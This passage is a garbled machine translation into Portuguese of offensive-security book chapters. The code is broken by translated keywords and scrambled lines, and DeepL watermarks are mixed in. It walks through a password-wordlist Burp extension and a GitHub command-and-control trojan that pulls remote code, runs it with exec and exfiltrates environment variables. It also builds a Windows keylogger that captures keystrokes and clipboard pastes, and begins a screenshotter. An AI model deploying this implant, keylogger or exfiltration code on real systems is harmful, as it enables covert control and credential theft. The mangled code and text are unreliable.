callbacks.registerContextMenuFactory(self)

retornar

def createMenuItems(self,
context_menu): self.context =
context_menu menu_list =
ArrayList()
menu_list.add(JMenuItem(
"Create Wordlist", actionPerformed=self.wordlist_menu))

retornar menu_list

O código nesta lista já deve ser bastante familiar. Começamos


importando os módulos necessários. Uma classe de helper TagStripper nos
permitirá retirar as tags HTML das respostas HTTP que processamos mais
tarde. Seu
O método handle_data armazena o texto da página 1 em uma variável de
membro. Também definimos o método handle_comment porque queremos
adicionar as palavras armazenadas
nos comentários do desenvolvedor à lista de senhas também. Sob as capas,
manuseie
_comentar apenas chamadas handle_data 2 (no caso de querermos mudar a
forma como processamos o texto da página pelo caminho).
O método de tira alimenta o código HTML para a classe base,
HTMLParser, e retorna o texto da página 3 resultante, o que virá a ser útil
mais tarde. O resto é quase exatamente o mesmo que o início do
bhp_bing.py script, nós apenas
terminado. Mais uma vez, o objetivo é criar um item de menu de
contexto na IU Burp. A única novidade aqui é que armazenamos nossa
lista de palavras em um conjunto, o que garante que não introduzimos
palavras duplicadas à medida que avançamos. Inicializamos a
definida com a senha favorita de todos, senha 4, apenas para garantir que ela
acabe em nossa lista final.
112 Capítulo 6
Agora vamos adicionar a lógica para pegar o tráfego HTTP selecionado
de Burp e transformá-lo em uma lista de palavras base:

def wordlist_menu(self,event):
# pegar os detalhes do que o usuário clicou
http_traffic = self.context.getSelectedMessages()

para o tráfego em http_traffic:


http_service = traffic.getHttpService()
host= http_service.getHost()
1 self.hosts.add(anfitrião)

Extensão do Burp Proxy 113


http_response =
tráfego.getResponse() se
http_response:
2 self.get_words(http_response)

self.display_wordlist()
retorno

def get_words(self, http_response):


cabeçalhos, corpo = http_response.tostring().split('r\r\r\n', 1)

# pular respostas sem texto


3 if headers.lower().find("content-type: text") == -1:
return

tag_stripper = TagStripper()
4 page_text = tag_stripper.strip(body)

5 palavras = re.findall("[a-zA-Z]\w{2,}",

page_text) para palavra em palavras:


# filtrar longas cordas se
len(palavra) <= 12:
6 self.wordlist.add(word.lower())

retornar

Nossa primeira ordem de trabalho é definir o método de menu_da_lista de


palavras, que trata dos cliques do menu. Ele salva o nome do host de
resposta 1 para mais tarde e depois recupera a resposta HTTP e a alimenta
com o método get_words 2. A partir daí, get_words verifica o cabeçalho da
resposta para ter certeza de que estamos processando...
O TagStripper classe 4 retira o código HTML do resto do texto da
página. Usamos uma expressão regular para encontrar todos os
palavras começando com um caractere alfabético e dois ou mais caracteres
"palavra" como especificado com a expressão regular 5. Salvamos as palavras que
correspondem a este padrão na lista de palavras em minúsculas 6.
Agora vamos polir o roteiro, dando-lhe a capacidade de manipular e exibir
a lista de palavras capturadas:
def mangle(auto, palavra):
ano = datatime.now().ano
sufixos = ["", "1", "!", ano] 1
mangled = []

para senha em (word, word.capitalize()):


para sufixo em sufixos:
114 Capítulo 6
mangled.append("%s%s" % (senha, sufixo)) 2

retorno mangled

Extensão do Burp Proxy 115


Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

def display_wordlist(self):
imprimir ("#!comentário: BHP Lista de palavras para o(s) site(s) %s" % ",
".join(self.hosts)) 3

por palavra em ordem (self.wordlist):


para senha em self.mangle(word):
imprimir senha

retornar

Muito bom! O método mangle pega uma palavra base e a transforma


em um num- ber de suposições de senhas baseadas em algumas estratégias
comuns de criação de senhas. Neste exemplo simples, criamos uma lista de
sufixos a serem usados no final de
a palavra base, incluindo o ano corrente 1. Em seguida, fazemos um laço
através de cada suf- fixador e o adicionamos à palavra base 2 para criar uma
tentativa de senha única. Fazemos outro loop com uma versão capitalizada
da palavra base para uma boa medida. No método display_wordlist,
imprimimos um comentário no estilo "John the Ripper" 3 para nos lembrar
quais sites usamos para gerar esta lista de palavras. Em seguida, alteramos
cada palavra base e imprimir os resultados. É hora de levar este bebê para dar
uma volta.

Chutando os Pneus
Clique na guia Extender em Burp, clique no botão Adicionar, e então use
o mesmo procedimento que usamos para nossas extensões anteriores
para fazer a extensão da Lista de Palavras funcionar.
Na aba Painel, selecione Nova tarefa ao vivo, como mostrado na Figura 6-
12.

Extensão do Burp Proxy 113


Figura 6-12: Iniciando uma varredura passiva ao vivo com Burp

Quando o diálogo aparecer, escolha Adicionar todos os links


observados no tráfego, como mostrado na Figura 6-13, e clique em OK.
Figura 6-13: Configuração da varredura passiva ao vivo com Burp

Depois de configurar o escaneamento, navegue até


http://testphp.vulnweb.com/ para executá-lo. Uma vez que Burp tenha visitado
todos os links do site alvo, selecione todas as solicitações no painel superior
direito da aba Target, clique com o botão direito do mouse sobre elas para abrir
o menu de contexto e selecione Create Wordlist, como mostrado na Figura 6-14.

Figura 6-14: Envio das solicitações para a extensão da lista de palavras da BHP
Extensão do Burp Proxy 115
114 Capítulo 6
Agora verifique a aba Output da extensão. Na prática, salvaríamos sua
saída em um arquivo, mas para fins de demonstração exibimos a lista de
palavras em Burp, como mostrado na Figura 6-15.
Agora você pode alimentar esta lista de volta ao Burp Intruder para
realizar o verdadeiro ataque de adivinhação de senhas.

Figura 6-15: Uma lista de senhas baseada no conteúdo do site de


destino

Agora demonstramos um pequeno subconjunto do Burp API ao gerar


nossas próprias cargas úteis de ataque, bem como construir extensões que
interagem com a IU Burp. Durante um teste de penetração, você encontrará
freqüentemente problemas específicos ou necessidades de automação, e o
Burp Extender API fornece uma excelente interface para codificar sua saída
de um canto, ou pelo menos evitar que você tenha que copiar e colar os
dados capturados de Burp para outra ferramenta.

Extensão do Burp Proxy 115


Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

7
G I T H U B COM M A N D A N D CON T
ROLL

Suponha que você tenha comprometido


uma máquina. Agora você quer que ela
execute automaticamente as tarefas e lhe
comunique suas descobertas. Em
Neste capítulo, criaremos uma estrutura de
troianos que parecerá inócua na máquina remota, mas
seremos capazes de atribuir-lhe todo tipo de tarefas
nefastas.
Um dos aspectos mais desafiadores da criação de um sólido quadro de
troianos - o trabalho é descobrir como controlar, atualizar e receber dados
de seus implantes. É crucial que você precise de uma maneira relativamente
universal para empurrar o código para seus trojans remotos. Por um lado,
esta flexibilidade lhe permitirá realizar tarefas diferentes em cada sistema.
Além disso, às vezes você pode precisar de seus trojans para executar
seletivamente o código para determinados sistemas operacionais alvo, mas
não para outros.
Embora os hackers tenham criado muitos métodos criativos de comando e
controle ao longo dos anos, confiando em tecnologias como o protocolo
Internet Relay Chat (IRC) e até mesmo o Twitter, vamos tentar um serviço
realmente projetado para o código. Usaremos o GitHub como uma
forma de armazenar informações de configuração para nossos implantes
e como um meio de exfiltração de dados dos sistemas das vítimas. Além
disso, hospedaremos quaisquer módulos que o implante necessite para
executar tarefas no GitHub. Em
Configurando tudo isso, invadiremos o mecanismo de importação da
biblioteca nativa de Python para que à medida que você criar novos
módulos de troianos, seus implantes possam recuperá-los
automaticamente, e quaisquer bibliotecas dependentes, diretamente de
seu reporte.
Alavancar o GitHub para estas tarefas pode ser uma estratégia
inteligente: seu tráfego para o GitHub será criptografado sobre a Secure
Sockets Layer (SSL), e nós, os autores, temos visto muito poucas empresas
bloquearem ativamente o próprio GitHub. Usaremos um repo privado para
que os olhos curiosos não possam ver o que estamos fazendo. Uma vez
codificadas as capacidades no trojan, você poderia teoricamente convertê-
lo em um binário e deixá-lo cair em uma máquina comprometida, de modo
que ele funcione indefinidamente. Então você poderia usar o repositório
GitHub para dizer a ele o que fazer e encontrar o que ele descobriu.

Criação de uma conta GitHub


Se você não tem uma conta GitHub, vá até https://github.com/, inscreva-se
e crie um novo repositório chamado bhptrojan. Em seguida, instale a
biblioteca API do Python GitHub
(https://pypi.org/project/github3.py/) para que você
possa automatizar sua interação com o repo:

instalar pip github3.py

Agora vamos criar uma estrutura básica para nossa repo. Digite o seguinte
na linha de comando:

$ mkdir bhptrojan
$ cd bhptrojan
$ init init
Módulos de $ mkdir
$ mkdir config
Dados $ mkdir
$ toque .gitignore
$ git add .
$ git commit -m "Adiciona estrutura repo para trojan".
$milhão remoto adicionar origem https://github.com/<seu nome de
usuário>/bhptrojan.git
mestre de origem de $ git push

Aqui, criamos a estrutura inicial para o reporte. O diretório de


configuração contém arquivos de configuração únicos para cada trojan. Ao
distribuir os trojans, você quer que cada um desempenhe tarefas diferentes,
assim cada trojan verificará um arquivo de configuração separado. O
diretório de módulos contém qualquer código modular que o trojan deve
pegar e depois executar. Vamos implementar um hack especial de
importação para permitir que nosso trojan importe bibliotecas diretamente
de nosso repo GitHub. Esta capacidade de carga remota também permitirá
que você armazene bibliotecas de terceiros no GitHub para que você não

118 Capítulo 7
tenha que recompilar seu trojan continuamente toda vez que quiser
adicionar novas funcionalidades ou dependências. O diretório de dados é
onde o trojan verificará quaisquer dados coletados.
Você pode criar um token de acesso pessoal no site GitHub e usá-lo
no lugar de uma senha ao realizar operações Git sobre HTTPS com a API.
O token deve fornecer ao nosso trojan tanto a leitura quanto a escrita

GitHub Comando e Controle 119


permissões, uma vez que precisará tanto ler sua configuração quanto escrever
sua saída. Siga as instruções no site GitHub (https://docs.github.com/en/
github/authenticating-to-github/) para criar o token e salvar a string token em
um arquivo local chamado mytoken.txt. Em seguida, adicione mytoken.txt ao
arquivo .gitignore para que você não empurre acidentalmente suas credenciais
para o repositório.
Agora vamos criar alguns módulos simples e um arquivo de configuração de
amostra.

Criando Módulos
Em capítulos posteriores, você fará negócios desagradáveis com seus
trojans, como por exemplo, tirar teclas e tirar screenshots. Mas, para
começar, vamos criar alguns módulos simples que podemos testar e
implantar facilmente. Abra um novo arquivo no diretório de módulos,
nomeie-o dirlister.py, e digite o seguinte código:

importação de

def run(**args):
print("[*] In dirlister module.")
files = os.listdir(".")
retornar str(arquivos)

Este pequeno trecho de código define uma função de execução que


lista todos os arquivos no diretório atual e retorna essa lista como uma
string. Cada módulo desenvolvido deve expor uma função de execução
que leva um número variável de argumentos. Isto permite carregar cada
módulo da mesma maneira, mas ainda permite personalizar os arquivos de
configuração para passar argumentos diferentes para os módulos, se desejar.
Agora vamos criar outro módulo em um arquivo chamado environment.py:

importação de

def run(**args):
print("[*] In environment
module.") retornar os.environ

Este módulo simplesmente recupera qualquer variável de ambiente que


esteja definida na máquina remota na qual o trojan está sendo executado.
Agora vamos empurrar este código para nosso repo GitHub para que
nosso trojan possa usá-lo. A partir da linha de comando, digite o seguinte
código de seu diretório principal do repositório:

$ git add .
$m "Adiciona novos módulos".
$ git push origem mestre
120 Capítulo 7
Nome de usuário:
******** Senha: ********

GitHub Comando e Controle 121


Você deve ver seu código ser empurrado para seu repo GitHub; sinta-se
livre para entrar em sua conta e checar novamente! É exatamente assim que
você pode continuar a desenvolver o código no futuro. Deixaremos a
integração de módulos mais complexos para você como uma tarefa de casa.
Para avaliar quaisquer módulos que você criar, empurre-os para GitHub e
depois habilite-os em um arquivo de configuração para sua versão local
do trojan. Desta forma, você poderia testá-los em uma máquina virtual
(VM) ou hardware host que você controla antes de permitir que um de
seus trojans remotos pegue o código e o utilize.

Configurando o Trojan
Vamos querer encarregar nosso troiano de realizar certas ações. Isto
significa que precisamos de uma maneira de dizer que ações executar e
que módulos são
responsáveis pela sua realização. A utilização de um arquivo de configuração nos
dá esse nível de controle. Ele também nos permite efetivamente colocar um
trojan para dormir (não lhe dando nenhuma tarefa), se assim o
desejarmos. Para que este sistema funcione, cada trojan que você
implanta deve ter uma identificação única. Dessa forma, você será capaz de
classificar quaisquer dados recuperados com base nessas identificações e
controlar quais trojans executam determinadas tarefas.
Configuraremos o trojan para procurar no diretório de configuração para
TROJANID
.json, que devolverá um simples documento JSON que podemos analisar,
converter para um dicionário Python e depois usar para informar a nosso
trojan quais tarefas executar. O formato JSON facilita também a mudança
das opções de configuração. Entre em seu diretório de configuração e crie
um arquivo chamado abc
.json com o seguinte conteúdo:

[
{
"módulo" : "dirlister"
},
{
"módulo" : "ambiente".
}
]

Esta é apenas uma simples lista de módulos que o trojan remoto deve rodar.
Mais tarde, você verá como lemos este documento do JSON e depois
iteramos sobre cada opção para carregar esses módulos.
Ao fazer um brainstorming das idéias do módulo, você poderá descobrir que
é útil incluir opções adicionais de configuração, tais como a duração da
execução, o número de vezes para executar o módulo, ou argumentos a
serem passados para o módulo. Você também pode adicionar vários
métodos de exfiltração de dados, como mostramos no Capítulo 9.
Entre em uma linha de comando e emita os seguintes comandos a
122 Capítulo 7
partir de seu diretório repo principal:

$ git add .
$ git commit -m "Adiciona configuração simples".
mestre de origem de $ git push

GitHub Comando e Controle 123


Nome de usuário:
******** Senha:
********

Agora que você tem seus arquivos de configuração e alguns módulos simples
para executar, vamos começar a construir o trojan principal.

Construindo um Trojan GitHub-Aware


O trojan principal recuperará as opções de configuração e o código para
executar a partir do GitHub. Comecemos escrevendo as funções que se
conectam e autenticam com o GitHub API e depois nos comunicamos com
ele. Abra um novo arquivo chamado git_trojan.py e digite o seguinte:

base64
importação
github3
importação
importação
github3
importação
json
importação
aleatória
importação
sistema de
importação
importação de
filamentos
tempo de
importação

a partir da data/hora de importação

Este código de configuração simples contém as importações necessárias,


que devem manter nosso tamanho geral de trojan relativamente pequeno
quando compilado. Dizemos relativamente porque a maioria dos binários
Python compilados usando o pyinstaller tem cerca de 7MB. (Você pode
verificar o pyinstaller aqui: https://www.pyinstaller.org/downloads.html). Vamos
largar este binário na máquina comprometida.
Se você fosse explodir esta técnica para construir um botnet completo
(uma rede de muitos desses implantes), você iria querer a capacidade de
gerar automaticamente trojans, definir sua identificação, criar um arquivo
124 Capítulo 7
de configuração que é empurrado para o GitHub e compilar o trojan em
um executável. Mas não vamos construir uma botnet hoje; vamos deixar
sua imaginação fazer o trabalho.
Agora vamos colocar em prática o código GitHub relevante:

1 def github_connect():
com open('mytoken.txt') como f:
token = f.read()
usuário = 'tiarno
sess = github3.login(token=token)
retornar sess.repository(usuário, 'bhptrojan')

2 def get_file_contents(dirname, module_name, repo):


return repo.file_contents(f'{dirname}/{module_name}').content

Estas duas funções tratam da interação com o repositório GitHub. A


função github_connect lê o token criado no GitHub 1. Quando você criou o
token, você o escreveu em um arquivo chamado mytoken.txt. Agora nós
lemos o arquivo
desse arquivo e devolver uma conexão ao repositório GitHub. Você

GitHub Comando e Controle 125


pode querer criar diferentes fichas para diferentes trojans para que você
possa controlar o que cada trojans pode acessar em seu repositório. Dessa
forma, se as vítimas pegarem seu trojan, elas não poderão aparecer e apagar
todos os dados recuperados.
A função get_file_contents recebe o nome do diretório, nome do
módulo e conexão de repositório e retorna o conteúdo do módulo
especificado 2. Esta função é responsável por pegar os arquivos do
e a leitura do conteúdo em local. Vamos usá-lo para a leitura de ambos
opções de configuração e o código fonte do módulo.
Agora vamos criar uma classe de troianos que executa as tarefas
essenciais de trojaning:
classe Trojan:
1 def init (self, id):
self.id = id
self.config_file = f'{id}.json'
2 auto.data_path = f'data/{id}/'
3 self.repo = github_connect()

Quando inicializamos o objeto Trojan 1, atribuímos suas informações


de configuração e o caminho de dados onde o Trojan escreverá seus arquivos
de saída 2, e fazemos a conexão com o repositório 3. Agora vamos
adicionar os métodos que precisaremos para nos comunicarmos com ele:

1 def get_config(self):
config_json = get_file_contents(
config', self.config_file, self.repo
)
config = json.loads(base64.b64decode(config_json))

para tarefa na configuração:


se tarefa['módulo'] não em sys.modules:
2 exec("importar %s" %
tarefa['módulo']) configuração de
retorno

3 def module_runner(self, module):


resultado =
sys.modules[module].run()
self.store_module_result(result)

4 def store_module_result(self, data):


mensagem =
datetime.now().isoformat()
remote_path =
f'data/{self.id}/{message}.data' bindata =
bytes('%r' % dados, 'utf-8')
self.repo.create_file(

126 Capítulo 7
remote_path, mensagem, base64.b64encode(bindata)
)

5 def run(self):
enquanto Verdadeiro:
config = self.get_config()
para tarefa em config:
thread = threading.thread(
target=self.module_runner,

GitHub Comando e Controle 127


args=(task['module'],))
thread.start()
time.sleep(random.randint(1, 10))

6 time.sleep(random.randint(30*60, 3*60*60))

O método get_config 1 recupera o documento de configuração remota do


repo para que seu trojan saiba quais os módulos a serem executados. A
chamada executiva traz o conteúdo do módulo para o objeto de trojan 2.
O método module_runner chama a função run do módulo acabado de
importar 3. Vamos entrar em mais detalhes sobre como ele é chamado
na próxima seção. E o módulo_de_loja
O método de resultado 4 cria um arquivo cujo nome inclui a data e a hora atual
e, em seguida, salva sua saída para esse arquivo. O trojan usará estes três
métodos para empurrar quaisquer dados coletados da máquina alvo
para o GitHub.
No método de execução 5, começamos a executar estas tarefas. O primeiro
passo é pegar o arquivo de configuração do reporte. Em seguida,
iniciamos o módulo em
seu próprio fio. Enquanto no método module_runner, chamamos a função
run do módulo para executar seu código. Quando terminar de rodar, ele
deve emitir uma string que nós então empurramos para nosso repo.
Quando termina uma tarefa, o troiano dormirá por um período
aleatório de tempo, na tentativa de enganar qualquer análise de padrão
de rede 6. Você poderia, é claro, criar um monte de tráfego para google.com,
ou qualquer outro número de outros sites
que parecem benignos, numa tentativa de disfarçar o que seu trojan está
tramando.
Agora vamos criar um hack de importação para importar arquivos
remotos a partir do repo GitHub.

Hacking Python's import Functionality


Se você chegou tão longe no livro, você sabe que usamos a funcionalidade
de importação do Python para copiar bibliotecas externas em nossos
programas para que possamos usar seu código. Queremos ser capazes de
fazer o mesmo com nosso trojan. Mas como estamos controlando uma
máquina remota, podemos querer usar um pacote não disponível naquela
máquina, e não há uma maneira fácil de instalar pacotes remotamente.
Além disso, também queremos ter certeza de que, se puxarmos um depen-
dência, como o Scapy, nosso trojan torna esse módulo disponível para todos
os outros módulos que puxamos.
Python nos permite personalizar como ele importa módulos; se não
conseguir encontrar um módulo localmente, ele chamará uma classe de
importação que definimos, o que nos permitirá recuperar remotamente a
biblioteca de nosso repo. Teremos que adicionar nossa classe personalizada
à lista sys.meta_path. Vamos criar esta classe agora, adicionando o código
fol- lowing:
128 Capítulo 7
classe GitImporter:
def init (self):
self.current_module_code =
""

def find_module(self, name, path=None):


print("[*] Tentando recuperar %s" % name)
self.repo = github_connect()

GitHub Comando e Controle 129


new_library = get_file_contents('modules', f'{name}.py',
self.repo) if new_library is not None:
1 self.current_module_code =
base64.b64decode(new_library) return self

def load_module(auto, nome):


spec = importlib.util.spec_from_loader(name, loader=None,
origin=self.repo.git_url)
2 new_module =
importlib.util.module_from_spec(spec)
exec(self.current_module_code, new_module.
dict )
3 sys.modules[spec.name] =
new_module return new_module

Toda vez que o intérprete tentar carregar um módulo que não esteja
disponível, ele usará esta classe GitImporter. Primeiro, o método
find_module tenta localizar o módulo. Nós passamos esta chamada para
nosso carregador de arquivos remoto. Se pudermos localizar o arquivo em
nosso repo, nós decodificamos o código com base64 e o armazenamos em
nosso
classe 1. (GitHub nos dará dados codificados na base64.) Ao retornarmos
a nós mesmos, indicamos ao intérprete Python que encontramos o módulo e
que ele pode
chamar o método load_module para carregá-lo de fato. Usamos o módulo
importlib nativo para primeiro criar um novo objeto 2 do módulo em
branco e depois empurrar o código que recuperamos do GitHub para dentro
dele. O último passo é inserir o módulo recém-criado na lista 3 do
sys.modules para que ele seja capturado por quaisquer chamadas futuras
de importação.
Agora vamos dar os retoques finais no trojan:

if name == ' principal ':


sys.meta_path.append(GitImporte
r()) trojan = Trojan('abc')
trojan.run()

No bloco principal, colocamos o GitImporter na lista sys.meta_path,


criamos o objeto Trojan, e chamamos seu método de execução.
Agora vamos dar uma volta!

Chutando os Pneus
Muito bem! Vamos testar esta coisa executando-a da linha de comando:

W A R N ING Se você tiver informações sensíveis em arquivos ou variáveis ambientais,


130 Capítulo 7
lembre-se que sem um repositório privado, essas informações irão até o GitHub
para que o mundo inteiro as veja. Não diga que não o avisamos. É claro que você pode
se proteger usando as técnicas de criptografia que você aprenderá no Capítulo 9.

$ python git_trojan.py
[*] Tentativa de recuperação de
dirlister [*] Tentativa de recuperação
de ambiente [*] No módulo dirlister
[*] No módulo ambiente.

GitHub Comando e Controle 131


Perfeito. Ele se conectou ao repositório, recuperou o arquivo de
configuração, puxou os dois módulos que definimos no arquivo de
configuração e os executou.
Agora, a partir de seu diretório de trojans, digite o seguinte na linha de
comando:
$ git pull origin master
De6256823..8024199 master -
>origem/master
Atualização 6256823..8024199
Avançar rapidamente
data/abc/2020-03-29T11:29:19.475325.data |
1 + data/abc/2020-03-
29T11:29:24.479408.data | 1 +
data/abc/2020-03-29T11:40:27.694291.data |
1 + data/abc/2020-03-
29T11:40:33.696249.data | 1 +
4 arquivos alterados, 4 inserções(+)
modo criar 100644 data/abc/2020-03-
29T11:29:19.475325.data modo criar 100644
data/abc/2020-03-29T11:29:24.479408.data modo criar
100644 data/abc/2020-03-29T11:40:27.694291.data modo
criar 100644 data/abc/2020-03-29T11:40:33.696249.data

Fantástico! O trojan verificou os resultados dos dois módulos em


execução.
Você poderia fazer uma série de melhorias e aperfeiçoamentos a esta
técnica central de comando e controle. Criptografando todos os seus
módulos,
configuração e dados ex-filtrados seria um bom começo. Você também precisaria
automatizar o processo de puxar os dados para baixo, atualizar os
arquivos de configuração e lançar novos trojans se você fosse infectar sistemas
em uma escala maciça. À medida que você acrescentar mais e mais
funcionalidades, você também precisará estender a forma como Python
carrega bibliotecas dinâmicas e compiladas.
Por enquanto, vamos trabalhar na criação de algumas tarefas de
troianos autônomos, e deixaremos a você a tarefa de integrá-los em seu
novo trojan GitHub.

132 Capítulo 7
GitHub Comando e Controle 133
8
COM MON T RO JA N ING TA S
KS ON W IN DOW S

Quando você implanta um trojan, você


pode querer executar algumas tarefas
comuns com ele: agarrar teclas, tirar
screenshots, e executar
shellcode para fornecer uma sessão interativa
para ferramentas como CANVAS ou Metasploit. Este
capítulo se concentra na execução destas tarefas em
sistemas Windows. Nós vamos
embrulhar as coisas com algumas técnicas de detecção de caixas de areia para
determinar se estamos funcionando dentro de um antivírus ou caixa de
areia forense. Estes módulos serão fáceis de modificar e funcionarão
dentro da estrutura de trojan desenvolvida no Capítulo 7. Em capítulos
posteriores, exploraremos técnicas de escalonamento de privilégios que
você pode implantar com seu trojan. Cada técnica vem com seus
próprios desafios e probabilidade de ser pego, seja pelo usuário final
ou por uma solução antivírus.
Recomendamos que você modele cuidadosamente seu alvo após ter
implantado seu trojan para que você possa testar os módulos em seu
laboratório antes de experimentá-los em um alvo vivo. Vamos começar
criando um simples keylogger.

Keylogging for Fun and Keystrokes


O keylogging, o uso de um programa oculto para registrar toques de teclas
consecutivos, é um dos truques mais antigos do livro, e ainda é empregado
com vários níveis de furto hoje em dia. Os atacantes ainda o utilizam porque
é extremamente eficaz na captura de informações sensíveis, como
credenciais ou conversas.
Uma excelente biblioteca Python chamada PyWinHook nos permite
prender facilmente todos os eventos de teclado
(https://pypi.org/project/pyWinhook/). PyWinHook é um garfo da biblioteca
PyHook original e é atualizado para suportar o Python 3. Ele tira proveito da
função nativa do Windows SetWindowsHookEx, que nos permite instalar
uma função definida pelo usuário para ser chamada para certos eventos do
Windows. Ao registrar um gancho para eventos de teclado, seremos
capazes de apanhar todos os pressionamentos de teclas que um alvo nos
incomoda. Além disso, queremos saber exatamente qual processo eles
estão executando estes pressionamentos de teclas para que possamos
determinar quando nomes de usuário, senhas ou outras informações úteis
são inseridos.
PyWinHook cuida de toda a programação de baixo nível para nós, o
que deixa a lógica central do keystroke logger para nós. Vamos abrir o
keylogger.py e colocar alguns dos encanamentos:

de ctypes import byref, create_string_buffer, c_ulong, windll de


io import StringIO

importação de
pythoncom de importação
importação pyWinhook
como sistema de
importação pyHook
tempo de importação
importação win32clipboard

TIMEOUT = 60*10

classe KeyLogger:
def init (self):
self.current_window =
Nenhum

128 Capítulo 8
def get_current_process(self):
1 hwnd =
windll.user32.GetForegroundWindow()
pid = c_ulong(0)
2 windll.user32.GetWindowThreadProcessId(hwnd,
byref(pid)) process_id = f'{pid.value}'

executável = create_string_buffer(512)
3 h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
4 windll.psapi.GetModuleBaseNameA(
h_process, None, byref(executável), 512)

Tarefas comuns de Trojaning no Windows 129


window_title = create_string_buffer(512)
5 windll.user32.GetWindowTextA(hwnd,
byref(window_title), 512) try:
self.current_window =
window_title.value.decode() exceto
UnicodeDecodeError como e:
imprimir(f'{e}: nome da janela desconhecido')

6 print('\n', process_id,
executável.valor.decodificar(), auto.janela_actual)

windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)

Muito bem! Definimos uma constante, TIMEOUT, criamos uma nova


classe, KeyLogger, e escrevemos o método get_current_process que
capturará a janela ativa e seu ID de processo associado. Dentro desse
método, primeiro chamamos
GetForeGroundWindow 1, que retorna uma alavanca para a janela ativa
na área de trabalho do alvo. Em seguida, passamos essa alavanca para a
função GetWindowThreadProcessId 2 para recuperar a identificação do
processo da janela. Então abrimos o processo 3, e usando o handle do
processo resultante, encontramos o nome executável real 4 do processo. O
passo final é pegar o texto completo da barra de título win- dow usando a
função GetWindowTextA 5. No final deste método de ajuda, emitimos
todas as informações 6 em um belo cabeçalho para que você possa ver
claramente quais teclas foram usadas em qual processo e janela. Agora
vamos colocar a carne de nosso keystroke logger no lugar para terminá-lo:
def mykeystroke(auto, evento):
1 se evento.WindowName !=
auto.current_window:
self.get_current_process()
2 se 32 < evento.Ascii < 127:
print(chr(event.Ascii), end='')
senão:
3 if event.Key == 'V':
win32clipboard.OpenClipboard()
valor = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
senão:
print(f'{event.Key}')
return True

def run():
save_stdout = sys.stdout
130 Capítulo 8
sys.stdout = StringIO()

kl = KeyLogger()
4 hm = pyHook.HookManager()
5 hm.KeyDown = kl.mykeystroke
6 hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()

Tarefas comuns de Trojaning no Windows 131


log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log

se nome == ' principal ':


print(run())
impresso('feito.')

Vamos quebrar isso, começando com a função run. No Capítulo 7,


criamos módulos que um alvo comprometido poderia rodar. Cada módulo
tinha uma função de ponto de entrada chamada run, então escrevemos este
keylogger para seguir o mesmo padrão e podemos usá-lo da mesma forma.
A função run no sistema de comando e controle do Capítulo 7 não leva
argumentos e retorna sua saída. Para corresponder a esse comportamento
aqui, nós mudamos temporariamente o stdout para um objeto semelhante
a um arquivo, StringIO. Agora, tudo escrito para stdout irá para esse objeto,
que consultaremos mais tarde.
Depois de trocar o stdout, criamos o objeto KeyLogger e definimos o
PyWinHook HookManager 4. Em seguida, ligamos o evento KeyDown ao
método KeyLogger callback mykeystroke 5. Em seguida, instruímos o
PyWinHook a prender todos os keypresses 6 e continuar a execução até o
fim do tempo. Sempre que o alvo pressiona uma tecla no teclado, nosso
método mykeystroke é chamado com um evento
objeto como seu parâmetro. A primeira coisa que fazemos no mykeystroke é
verificar se o usuário mudou a janela 1, e se sim, adquirimos o nome da
nova janela e informações de processo. Em seguida, olhamos a tecla que foi
emitida 2, e se ela se enquadra na faixa de impressão ASCII, simplesmente
a imprimimos. Se for um modi...
mais forte (como a chave SHIFT, CTRL ou ALT) ou qualquer outra chave
não padrão, nós pegamos o nome da chave do objeto do evento. Também
verificamos se o usuário está realizando uma operação de pasta 3, e se for o
caso, despejamos o conteúdo da prancheta.
A função de retorno da chamada é concluída retornando True para permitir que o
próximo gancho entre
a cadeia - se houver um para processar o evento. Vamos dar uma volta!

Chutando os Pneus
É fácil testar nosso keylogger. Basta executá-lo e depois começar a usar o
Windows normalmente. Tente usar seu navegador, calculadora ou
qualquer outra aplicação e depois veja os resultados em seu terminal:

C:\Users\tim>python keylogger.py

6852 WindowsTerminal.exe Windows


PowerShell Return

132 Capítulo 8
teste
Retor
no

18149 firefox.exe Mozilla Firefox


nostarch.com
Retornar

5116 cmd.exe Comando


Cal Cal Cal Cal Calcinável
rápido
Retornar

Tarefas comuns de Trojaning no Windows 133


3004 AplicaçãoFrameHost.exe Calculadora
1 Lshift
+1
Retornar

Você pode ver que digitamos a palavra teste na janela principal onde o
script do keylogger funcionava. Em seguida, acionamos o Firefox, navegamos
para nostarch.com, e executamos algumas outras aplicações. Agora
podemos dizer com segurança que adicionamos nosso keylogger ao nosso
saco de truques de trojaning! Vamos passar a tirar screenshots.

Tirando screenshots
A maioria das peças de malware e estruturas de teste de penetração incluem o
capa- bilidade para tirar screenshots no alvo remoto. Isto pode ajudar a
capturar imagens, quadros de vídeo ou outros dados sensíveis que você pode
não ver com uma captura de pacotes ou keylogger. Felizmente, podemos usar o
pacote pywin32 para fazer chamadas nativas para a API do Windows para
agarrá-los. Instale o pacote com pip:

instalar pip pywin32

Um capturador de tela utilizará a Interface do Dispositivo Gráfico Windows


(GDI) para determinar as propriedades necessárias, como o tamanho total da
tela, e para capturar a imagem. Algum software de captura de tela capturará
apenas uma imagem da janela ou aplicação atualmente ativa, mas nós
capturaremos a tela inteira. Vamos começar. Abrir o screenshotter.py e inserir o
seguinte código:

importação
base64
importação
win32api
importação
win32con
importação
win32gui
importação
win32gui
importação
win32ui

1 def get_dimensions():
largura = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
altura =
win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREE
134 Capítulo 8
N) esquerda =
win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN
) topo =
win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN
) retorno (largura, altura, esquerda, topo)

def screenshot(name='screenshot'):
2 hdesktop =
win32gui.GetDesktopWindow() largura,
altura, esquerda, topo = get_dimensions()

3 desktop_dc =
win32gui.GetWindowDC(hdesktop) img_dc =
win32ui.CreateDCFromHandle(desktop_dc)
4 mem_dc = img_dc.CreateCompatibleDC()

5 screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width,
height) mem_dc.SelectObject(screenshot)

Tarefas comuns de Trojaning no Windows 135


